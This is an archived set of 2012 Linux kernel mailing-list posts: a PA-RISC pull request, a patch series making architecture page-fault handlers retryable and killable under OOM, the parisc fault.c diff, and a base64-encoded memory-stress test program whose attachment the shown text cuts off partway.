NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1333179386 28265 80.91.229.3 (31 Mar 2012 07:36:26 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 31 Mar 2012 07:36:26 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>,
	linux-kernel <linux-kernel@vger.kernel.org>
To: Andrew Morton <akpm@linux-foundation.org>,
	Linus Torvalds <torvalds@linux-foundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Mar 31 09:36:24 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SDsrG-0003vv-Ic
	for glpp-linux-parisc@plane.gmane.org; Sat, 31 Mar 2012 09:36:22 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753108Ab2CaHgW (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 31 Mar 2012 03:36:22 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:49452 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751274Ab2CaHgV (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 31 Mar 2012 03:36:21 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 24A538EE136;
	Sat, 31 Mar 2012 00:36:21 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id iwxG_MezTqLF; Sat, 31 Mar 2012 00:36:21 -0700 (PDT)
Original-Received: from [10.234.27.188] (unknown [217.41.231.33])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id F181F8EE081;
	Sat, 31 Mar 2012 00:36:19 -0700 (PDT)
X-Mailer: Evolution 3.2.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4248 gmane.linux.kernel:1275794
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4248>

This is a couple of minor updates (fixing lws futex locking and removing
some obsolete cpu_*_map calls).

The update is available here:

git://git.kernel.org/pub/scm/linux/kernel/git/jejb/parisc-2.6.git parisc-misc

The short changelog is:

John David Anglin (1):
      [PARISC] futex: Use same lock set as lws calls

Rusty Russell (1):
      [PARISC] remove references to cpu_*_map.

And the diffstat:

 arch/parisc/include/asm/futex.h |   31 +++++++++++++++++++++++++++----
 arch/parisc/kernel/smp.c        |    3 +--
 2 files changed, 28 insertions(+), 6 deletions(-)

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kautuk Consul <consul.kautuk@gmail.com>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel,gmane.linux.ports.openrisc,gmane.linux.uclinux.microblaze,gmane.linux.ports.ia64,gmane.linux.ports.hexagon,gmane.linux.ports.sh.devel,gmane.linux.ports.parisc,gmane.linux.kernel.mm,gmane.linux.kernel.cross-arch,gmane.linux.kernel
Subject: [PATCH 0/19 v2] mmu: arch/mm: Port OOM changes to arch page fault handlers.
Date: Sat, 31 Mar 2012 07:58:04 -0400
Lines: 41
Approved: news@gmane.org
Message-ID: <CAFPAmTT19hFymnFftLkV1jQjYmJgyk3y4b-kTXO3VP1YCR-_fQ@mail.gmail.com>
References: <CAFPAmTQs9dOpQTaXU=6Or66YU+my_CnPw33TE4h++YArBNa38g@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: dough.gmane.org 1333195092 27889 80.91.229.3 (31 Mar 2012 11:58:12 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 31 Mar 2012 11:58:12 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org
To: linux-alpha@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
	linux@lists.openrisc.net, linux-am33-list@redhat.com,
	microblaze-uclinux@itee.uq.edu.au, linux-m68k@lists.linux-m68k.org,
	linux-m32r-ja@ml.linux-m32r.org, linux-ia64@vger.kernel.org,
	linux-hexagon@vger.kernel.org, linux-cris-kernel@axis.com,
	linux-sh@vger.kernel.org, linux-parisc@vger.kernel.org,
	linux-mm@kvack.org, linux-arch@vger.kernel.org
Original-X-From: linux-m68k-owner@vger.kernel.org Sat Mar 31 13:58:09 2012
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-m68k-owner@vger.kernel.org>)
	id 1SDwwb-0006JJ-09
	for glpm-linux-m68k@plane.gmane.org; Sat, 31 Mar 2012 13:58:09 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757393Ab2CaL6I (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
	Sat, 31 Mar 2012 07:58:08 -0400
Original-Received: from mail-yw0-f48.google.com ([209.85.213.48]:43705 "EHLO
	mail-yw0-f48.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1757277Ab2CaL6G (ORCPT
	<rfc822;linux-m68k@lists.linux-m68k.org>);
	Sat, 31 Mar 2012 07:58:06 -0400
Original-Received: by yhfq46 with SMTP id q46so939495yhf.35
        for <linux-m68k@lists.linux-m68k.org>; Sat, 31 Mar 2012 04:58:05 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :cc:content-type;
        bh=oudsvfZO9ETL3UihnWaI8rM0Wvpu5zYKBsSsSewgKw8=;
        b=wHJkM/g/YcWX/BiDqlFGIQh1LZ9NXqVpX2Ra+8cPYARa9MIQa5lHNxOb3o9iBfEa6u
         Ly10UvsAKyH0HvLCOKu5YXgkxRNyyWpAsSHagEaR/799Cbvhgg9TY/qKmKIK0pkHVGUp
         eE31Px3jxQrp+AFZ52AtHJyLx9W1Oq/2JZ/uXUFbZMvUd4lE5H1bEzTxybdQ0rI1GZeT
         /cUqK4NwfuM2Q8VL7egvldF7FJH4KKacmbS1bPB68eGjpNS75fZEg1lbDGB6wSyBPEqL
         2U9dAy//MQyB/hRK+EFhrl23ACHAHijbBaoTu1XB/tx5I8LIn5wZgmpwOa+2Y0ZQ4nS3
         Qd7w==
Original-Received: by 10.236.170.70 with SMTP id o46mr1412332yhl.122.1333195084955;
 Sat, 31 Mar 2012 04:58:04 -0700 (PDT)
Original-Received: by 10.146.167.12 with HTTP; Sat, 31 Mar 2012 04:58:04 -0700 (PDT)
In-Reply-To: <CAFPAmTQs9dOpQTaXU=6Or66YU+my_CnPw33TE4h++YArBNa38g@mail.gmail.com>
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:3594 gmane.linux.ports.alpha:1761 gmane.linux.ports.ppc64.devel:81347 gmane.linux.ports.openrisc:87 gmane.linux.uclinux.microblaze:11832 gmane.linux.ports.ia64:22170 gmane.linux.ports.hexagon:404 gmane.linux.ports.sh.devel:14226 gmane.linux.ports.parisc:4249 gmane.linux.kernel.mm:76155 gmane.linux.kernel.cross-arch:13466 gmane.linux.kernel:1275843
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.m68k/3594>

Commit d065bd810b6deb67d4897a14bfe21f8eb526ba99
(mm: retry page fault when blocking on disk transfer) and
commit 37b23e0525d393d48a7d59f870b3bc061a30ccdb
(x86,mm: make pagefault killable)

The above commits introduced changes into the x86 pagefault handler
for making the page fault handler retryable as well as killable.

These changes reduce the mmap_sem hold time, which is crucial
during OOM killer invocation.

I was facing hang and livelock problems on my ARM and MIPS boards when
I invoked OOM by running the stress_32k.c test-case attached to this email.

Since both the ARM and MIPS porting changes were accepted, me and my
co-worker decided to take the initiative to port these changes to all other
MMU based architectures.

This is v2 of this patch set as there were some problems with the v1 of this
patchset:
- Whitespace issues as reported by David Miller and Joe Perches
- In 2 of the patches, the write(or equivalent) local variable has
been removed from the
  page fault handler because it is not really needed anymore with the
advent of the "flags"
  local variable. Thanks to Geert Uytterhoeven for that.
- The powerpc patch for this has been removed as this has already been
done by someone
  else for powerpc.

At the moment, 8 of these patches have Acked these patches as valid.
I have included their ACKed-By headers for them in their respective
arch patches.

And thanks to Guan Xuetao for actually testing this out on unicore32.

Rest of the arch owners: Please review these patches.

Signed-off-by: Mohd. Faris <mohdfarisq2010@gmail.com>
Signed-off-by: Kautuk Consul <consul.kautuk@gmail.com>
---

From - Thu Nov 08 21:08:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kautuk Consul <consul.kautuk@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH 17/19 v2] parisc/mm/fault.c: Port OOM changes to do_page_fault
Date: Sat, 31 Mar 2012 08:06:28 -0400
Lines: 82
Approved: news@gmane.org
Message-ID: <1333195588-5490-1-git-send-email-consul.kautuk@gmail.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: dough.gmane.org 1333195611 31140 80.91.229.3 (31 Mar 2012 12:06:51 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 31 Mar 2012 12:06:51 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org,
	Kautuk Consul <consul.kautuk@gmail.com>
To: <jejb@parisc-linux.org>, Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Mar 31 14:06:50 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SDx4z-0006V9-2f
	for glpp-linux-parisc@plane.gmane.org; Sat, 31 Mar 2012 14:06:49 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1759573Ab2CaMGr (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 31 Mar 2012 08:06:47 -0400
Original-Received: from mail-pb0-f46.google.com ([209.85.160.46]:46047 "EHLO
	mail-pb0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1759446Ab2CaMGr (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 31 Mar 2012 08:06:47 -0400
Original-Received: by mail-pb0-f46.google.com with SMTP id un15so2810251pbc.19
        for <multiple recipients>; Sat, 31 Mar 2012 05:06:46 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=from:to:cc:subject:date:message-id:x-mailer;
        bh=P4r43Do0lpPgwJj2klX/2+EN4wpnghnXOMogEzHANkA=;
        b=QfZl1ucnKV5Kramx2dXMxI8SPP0hnx7hoQgUi3Y/UK55udcnPaVg1rBYLkOSoG3atJ
         8zBNCvZiBPHvdtvxLWyfskkeFgil2doXewmcEDKXLtFqTiwfIPyIztBOYe974Suvr8An
         ZqusdmPhMhIrsciIuwRInYHX1Kb6K9Io+VMWqz2oYVWmV++qpFuVA6SG/hCDSsmY7i28
         StT+Kx9uezEi/L0Rr6k9zW1SQHufAeDgEzNi3vyQzGPaVtMxHyPSeXZ/r/wdkk17bae+
         XeA/uGNVbrEAc/emvrpek4ReaDDW6pD4aIGpFJxjDcXsspex7dw49zkP6CdznPQWYQhD
         pzZw==
Original-Received: by 10.68.218.228 with SMTP id pj4mr5118555pbc.167.1333195606941;
        Sat, 31 Mar 2012 05:06:46 -0700 (PDT)
Original-Received: from localhost.localdomain ([122.176.208.224])
        by mx.google.com with ESMTPS id u5sm9553984pbu.76.2012.03.31.05.06.43
        (version=TLSv1/SSLv3 cipher=OTHER);
        Sat, 31 Mar 2012 05:06:46 -0700 (PDT)
X-Mailer: git-send-email 1.7.5.4
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4250 gmane.linux.kernel:1275861
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4250>

Commit d065bd810b6deb67d4897a14bfe21f8eb526ba99
(mm: retry page fault when blocking on disk transfer) and
commit 37b23e0525d393d48a7d59f870b3bc061a30ccdb
(x86,mm: make pagefault killable)

The above commits introduced changes into the x86 pagefault handler
for making the page fault handler retryable as well as killable.

These changes reduce the mmap_sem hold time, which is crucial
during OOM killer invocation.

Signed-off-by: Kautuk Consul <consul.kautuk@gmail.com>
---
 arch/parisc/mm/fault.c |   29 ++++++++++++++++++++++++-----
 1 files changed, 24 insertions(+), 5 deletions(-)

diff --git a/arch/parisc/mm/fault.c b/arch/parisc/mm/fault.c
index 18162ce..bd66ed6 100644
--- a/arch/parisc/mm/fault.c
+++ b/arch/parisc/mm/fault.c
@@ -175,10 +175,12 @@ void do_page_fault(struct pt_regs *regs, unsigned long code,
 	struct mm_struct *mm = tsk->mm;
 	unsigned long acc_type;
 	int fault;
+	unsigned int flags = FAULT_FLAG_ALLOW_RETRY | FAULT_FLAG_KILLABLE;
 
 	if (in_atomic() || !mm)
 		goto no_context;
 
+retry:
 	down_read(&mm->mmap_sem);
 	vma = find_vma_prev(mm, address, &prev_vma);
 	if (!vma || address < vma->vm_start)
@@ -201,7 +203,12 @@ good_area:
 	 * fault.
 	 */
 
-	fault = handle_mm_fault(mm, vma, address, (acc_type & VM_WRITE) ? FAULT_FLAG_WRITE : 0);
+	fault = handle_mm_fault(mm, vma, address,
+			flags | ((acc_type & VM_WRITE) ? FAULT_FLAG_WRITE : 0));
+
+	if ((fault & VM_FAULT_RETRY) && fatal_signal_pending(current))
+		return;
+
 	if (unlikely(fault & VM_FAULT_ERROR)) {
 		/*
 		 * We hit a shared mapping outside of the file, or some
@@ -214,10 +221,22 @@ good_area:
 			goto bad_area;
 		BUG();
 	}
-	if (fault & VM_FAULT_MAJOR)
-		current->maj_flt++;
-	else
-		current->min_flt++;
+	if (flags & FAULT_FLAG_ALLOW_RETRY) {
+		if (fault & VM_FAULT_MAJOR)
+			current->maj_flt++;
+		else
+			current->min_flt++;
+		if (fault & VM_FAULT_RETRY) {
+			flags &= ~FAULT_FLAG_ALLOW_RETRY;
+
+			 /* No need to up_read(&mm->mmap_sem) as we would
+			 * have already released it in __lock_page_or_retry
+			 * in mm/filemap.c.
+			 */
+
+			goto retry;
+		}
+	}
 	up_read(&mm->mmap_sem);
 	return;
 
-- 
1.7.5.4

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kautuk Consul <consul.kautuk@gmail.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel,gmane.linux.ports.openrisc,gmane.linux.uclinux.microblaze,gmane.linux.ports.ia64,gmane.linux.ports.hexagon,gmane.linux.ports.sh.devel,gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch,gmane.linux.kernel
Subject: Re: [PATCH 0/19 v2] mmu: arch/mm: Port OOM changes to arch page fault handlers.
Date: Sat, 31 Mar 2012 08:15:53 -0400
Lines: 91
Approved: news@gmane.org
Message-ID: <CAFPAmTSkDyJUX1dCyAwUht72Kc7pkT1Uh3q9Grynb_fS7oOhAA@mail.gmail.com>
References: <CAFPAmTQs9dOpQTaXU=6Or66YU+my_CnPw33TE4h++YArBNa38g@mail.gmail.com>
	<CAFPAmTT19hFymnFftLkV1jQjYmJgyk3y4b-kTXO3VP1YCR-_fQ@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary=20cf30050bf029880304bc88eb62
X-Trace: dough.gmane.org 1333196160 2420 80.91.229.3 (31 Mar 2012 12:16:00 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 31 Mar 2012 12:16:00 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org
To: linux-alpha@vger.kernel.org, linuxppc-dev@lists.ozlabs.org, 
	linux@lists.openrisc.net, linux-am33-list@redhat.com, 
	microblaze-uclinux@itee.uq.edu.au, linux-m68k@lists.linux-m68k.org, 
	linux-m32r-ja@ml.linux-m32r.org, linux-ia64@vger.kernel.org, 
	linux-hexagon@vger.kernel.org, linux-cris-kernel@axis.com, 
	linux-sh@vger.kernel.org, linux-parisc@vger.kernel.org, linux-mm@kvack.org, 
	linux-arch@vger.kernel.org
Original-X-From: owner-linux-mm@kvack.org Sat Mar 31 14:15:57 2012
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1SDxDo-0006iL-E1
	for glkm-linux-mm-2@m.gmane.org; Sat, 31 Mar 2012 14:15:56 +0200
Original-Received: by kanga.kvack.org (Postfix)
	id 8083C6B007E; Sat, 31 Mar 2012 08:15:55 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 747B06B0083; Sat, 31 Mar 2012 08:15:55 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 5D7026B0092; Sat, 31 Mar 2012 08:15:55 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
Delivered-To: linux-mm@kvack.org
Original-Received: from psmtp.com (na3sys010amx155.postini.com [74.125.245.155])
	by kanga.kvack.org (Postfix) with SMTP id B4C8C6B007E
	for <linux-mm@kvack.org>; Sat, 31 Mar 2012 08:15:54 -0400 (EDT)
Original-Received: from mail-yx0-f169.google.com ([209.85.213.169]) (using TLSv1) by na3sys010amx155.postini.com ([74.125.244.10]) with SMTP;
	Sat, 31 Mar 2012 12:15:54 GMT
Original-Received: by yenm8 with SMTP id m8so967758yen.14
        for <linux-mm@kvack.org>; Sat, 31 Mar 2012 05:15:53 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :cc:content-type;
        bh=0Oi3wZ5LJ+Efkzs1R7kL//FlZactCdtPjlZJZK0DkLU=;
        b=0+KllyNWu2j2lnBHVW8J9jaBSCneWhyez6OhJVfKEWGFQxMERXkLXe+xDF6bkqxtgY
         hpZJqwcxe2o7g6+zbvQoVRiue6frXc21pgqt9N8+86VRmd9gGdFyHWsvYB5pUvC6UFCE
         EWTSHIBpkW7YqwipyRnSHLAWhNDrrwQrdga1xueHSwKuKSJMKBXbQX89rA0dQCEVBPUL
         D79c9QHV2w36TC3NDBx4yE6ovqsXF27qjmzt3J3/0ZYFcVhZtlluKNUlkQunG0iZ6Xo+
         0F/PoSky3GOl+9wSq3m1BKjRdlnJ6+ya61PP9+pjO5LAER0AxO61Ij3g7/oTxOfCqmaZ
         +biA==
Original-Received: by 10.236.79.234 with SMTP id i70mr1464144yhe.88.1333196153784; Sat,
 31 Mar 2012 05:15:53 -0700 (PDT)
Original-Received: by 10.146.167.12 with HTTP; Sat, 31 Mar 2012 05:15:53 -0700 (PDT)
In-Reply-To: <CAFPAmTT19hFymnFftLkV1jQjYmJgyk3y4b-kTXO3VP1YCR-_fQ@mail.gmail.com>
X-pstn-neptune: 0/0/0.00/0
X-pstn-levels: (S:99.90000/99.90000 CV:99.9000 FC:95.5390 LC:95.5390 R:95.9108 P:95.9108 M:97.0282 C:98.6951 )
X-pstn-dkim: 1 skipped:not-enabled
X-pstn-settings: 3 (1.0000:0.1000) s cv GT3 gt2 gt1 r p m c 
X-pstn-addresses: from <consul.kautuk@gmail.com> [db-null] 
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.2
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:76157 gmane.linux.ports.alpha:1763 gmane.linux.ports.ppc64.devel:81348 gmane.linux.ports.openrisc:89 gmane.linux.uclinux.microblaze:11834 gmane.linux.ports.ia64:22172 gmane.linux.ports.hexagon:406 gmane.linux.ports.sh.devel:14228 gmane.linux.ports.parisc:4251 gmane.linux.kernel.cross-arch:13467 gmane.linux.kernel:1275866
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/76157>

--20cf30050bf029880304bc88eb62
Content-Type: text/plain; charset=ISO-8859-1

Ugh, sorry I forgot to attach the stress_32k.c test-case to this email.

Please find it attached to this one.

--20cf30050bf029880304bc88eb62
Content-Type: text/x-csrc; charset=US-ASCII; name="stress_32k.c"
Content-Disposition: attachment; filename="stress_32k.c"
Content-Transfer-Encoding: base64
X-Attachment-Id: f_h0gmk8do0

I2luY2x1ZGUgPHN0ZGlvLmg+CiNpbmNsdWRlIDxzdGRsaWIuaD4KI2luY2x1ZGUgPHN0cmluZy5o
PgojaW5jbHVkZSA8cHRocmVhZC5oPgojaW5jbHVkZSA8dW5pc3RkLmg+CgojZGVmaW5lIEFMTE9D
X0JZVEUgNTEyKjEwMjQKI2RlZmluZSBDT1VOVCA1MAoKdm9pZCAqYWxsb2NfZnVuY3Rpb25fb25l
KCB2b2lkICpwdHIgKTsKdm9pZCAqYWxsb2NfZnVuY3Rpb25fdHdvKCB2b2lkICpwdHIgKTsKdm9p
ZCAqYWxsb2NfZnVuY3Rpb25fdGhyZWUoIHZvaWQgKnB0ciApOwp2b2lkICphbGxvY19mdW5jdGlv
bl9mb3VyKCB2b2lkICpwdHIgKTsKdm9pZCAqYWxsb2NfZnVuY3Rpb25fZml2ZSggdm9pZCAqcHRy
ICk7CnZvaWQgKmVuYWJsZV9mdW5jdGlvbiggdm9pZCAqcHRyICk7CgoKaW50IG1haW4oaW50IGFy
Z2MsIGNoYXIgKmFyZ3ZbXSkKewoJcHRocmVhZF90IHRocmVhZDEsIHRocmVhZDIsIHRocmVhZDMs
IHRocmVhZDQsIHRocmVhZDU7CgljaGFyICptZXNzYWdlMSA9ICJUaHJlYWQgMSI7CgljaGFyICpt
ZXNzYWdlMiA9ICJUaHJlYWQgMiI7CgljaGFyICptZXNzYWdlMyA9ICJUaHJlYWQgMyI7CgljaGFy
ICptZXNzYWdlNCA9ICJUaHJlYWQgNCI7CgljaGFyICptZXNzYWdlNSA9ICJUaHJlYWQgNSI7Cglp
bnQgaXJldDEgPSAtMTsKCWludCBpcmV0MiA9IC0xOwoJaW50IGlyZXQzID0gLTE7CglpbnQgaXJl
dDQgPSAtMTsKCWludCBpcmV0NSA9IC0xOwoJZm9yaygpOwoJaXJldDEgPSBwdGhyZWFkX2NyZWF0
ZSggJnRocmVhZDEsIE5VTEwsIGFsbG9jX2Z1bmN0aW9uX29uZSwgKHZvaWQqKSBtZXNzYWdlMSk7
CglpcmV0MiA9IHB0aHJlYWRfY3JlYXRlKCAmdGhyZWFkMiwgTlVMTCwgYWxsb2NfZnVuY3Rpb25f
dHdvLCAodm9pZCopIG1lc3NhZ2UyKTsKCWlyZXQyID0gcHRocmVhZF9jcmVhdGUoICZ0aHJlYWQz
LCBOVUxMLCBhbGxvY19mdW5jdGlvbl90aHJlZSwgKHZvaWQqKSBtZXNzYWdlMik7CglpcmV0MiA9
IHB0aHJlYWRfY3JlYXRlKCAmdGhyZWFkNCwgTlVMTCwgYWxsb2NfZnVuY3Rpb25fZm91ciwgKHZv
aWQqKSBtZXNzYWdlMik7CglpcmV0MiA9IHB0aHJlYWRfY3JlYXRlKCAmdGhyZWFkNSwgTlVMTCwg
YWxsb2NfZnVuY3Rpb25fZml2ZSwgKHZvaWQqKSBtZXNzYWdlMik7CgoJcHRocmVhZF9qb2luKCB0
aHJlYWQxLCBOVUxMKTsKCXB0aHJlYWRfam9pbiggdGhyZWFkMiwgTlVMTCk7CglwdGhyZWFkX2pv
aW4oIHRocmVhZDMsIE5VTEwpOwoJcHRocmVhZF9qb2luKCB0aHJlYWQ0LCBOVUxMKTsKCXB0aHJl
YWRfam9pbiggdGhyZWFkNSwgTlVMTCk7CgoJcHJpbnRmKCJUaHJlYWQgMSByZXR1cm5zOiAlZFxu
IixpcmV0MSk7CglwcmludGYoIlRocmVhZCAyIHJldHVybnM6ICVkXG4iLGlyZXQyKTsKCXByaW50
ZigiVGhyZWFkIDMgcmV0dXJuczogJWRcbiIsaXJldDMpOwoJcHJpbnRmKCJUaHJlYWQgNCByZXR1
cm5zOiAlZFxuIixpcmV0NCk7CglwcmludGYoIlRocmVhZCA1IHJldHVybnM6ICVkXG4iLGlyZXQ1
KTsKCWV4aXQoMCk7Cn0KCnZvaWQgKmFsbG9jX2Z1bmN0aW9uX3R3byggdm9pZCAqcHRyICkKewoJ
Y2hhciAqbWVzc2FnZTsKCW1lc3NhZ2UgPSAoY2hhciAqKSBwdHI7Cgl2b2lkICpteWJsb2NrW0NP
VU5UXTsKCWludCBpPSAwLGo9MDsKCWludCBmcmVlZD0wOwoJcHJpbnRmKCJtZXNzYWdlX2FsbG9j
ICBcbiIpOwoJd2hpbGUoMSkKCXsKCQltZW1zZXQobXlibG9jaywwLHNpemVvZihteWJsb2NrKSk7
CgkJcHJpbnRmKCJtZXNzYWdlX2FsbG9jICVzIFxuIixtZXNzYWdlKTsKCQlmb3IoaT0wO2k8IENP
VU5UIDtpKyspCgkJewoJCQlteWJsb2NrW2ldID0gKHZvaWQgKikgbWFsbG9jKEFMTE9DX0JZVEUp
OwoJCQltZW1zZXQobXlibG9ja1tpXSwxLCBBTExPQ19CWVRFKTsKCQl9Cgl9Cn0KCgp2b2lkICph
bGxvY19mdW5jdGlvbl9vbmUoIHZvaWQgKnB0ciApCnsKCWNoYXIgKm1lc3NhZ2U7CgltZXNzYWdl
ID0gKGNoYXIgKikgcHRyOwoJdm9pZCAqbXlibG9ja1tDT1VOVF07CglpbnQgaT0gMCxqPTA7Cglp
bnQgZnJlZWQ9MDsKCXByaW50ZigibWVzc2FnZV9hbGxvYyAgXG4iKTsKCXdoaWxlKDEpCgl7CgkJ
bWVtc2V0KG15YmxvY2ssMCxzaXplb2YobXlibG9jaykpOwoJCXByaW50ZigibWVzc2FnZV9hbGxv
YyAlcyBcbiIsbWVzc2FnZSk7CgkJZm9yKGk9MDtpPCBDT1VOVCA7aSsrKQoJCXsKCQkJbXlibG9j
a1tpXSA9ICh2b2lkICopIG1hbGxvYyhBTExPQ19CWVRFKTsKCQkJbWVtc2V0KG15YmxvY2tbaV0s
MSwgQUxMT0NfQllURSk7CgkJfQoJfQp9Cgp2b2lkICphbGxvY19mdW5jdGlvbl90aHJlZSggdm9p
ZCAqcHRyICkKewogICAgICAgY2hhciAqbWVzc2FnZTsKICAgICAgICBtZXNzYWdlID0gKGNoYXIg
KikgcHRyOwogICAgICAgIHZvaWQgKm15YmxvY2tbQ09VTlRdOwogICAgICAgIGludCBpPSAwLGo9
MDsKICAgICAgICBpbnQgZnJlZWQ9MDsKICAgICAgICBwcmludGYoIm1lc3NhZ2VfYWxsb2MgIFxu
Iik7CiAgICAgICAgd2hpbGUoMSkKICAgICAgICB7CiAgICAgICAgICAgICAgICBtZW1zZXQobXli
bG9jaywwLHNpemVvZihteWJsb2NrKSk7CiAgICAgICAgICAgICAgICBwcmludGYoIm1lc3NhZ2Vf
YWxsb2MgJXMgXG4iLG1lc3NhZ2UpOwogICAgICAgICAgICAgICAgZm9yKGk9MDtpPCBDT1VOVCA7
aSsrKQogICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICBteWJsb2NrW2ld
ID0gKHZvaWQgKikgbWFsbG9jKEFMTE9DX0JZVEUpOwogICAgICAgICAgICAgICAgICAgICAgICBt
ZW1zZXQobXlibG9ja1tpXSwxLCBBTExPQ19CWVRFKTsKICAgICAgICAgICAgICAgIH0KICAgICAg
ICB9Cn0Kdm9pZCAqYWxsb2NfZnVuY3Rpb25fZm91ciggdm9pZCAqcHRyICkKewogICAgICAgY2hh
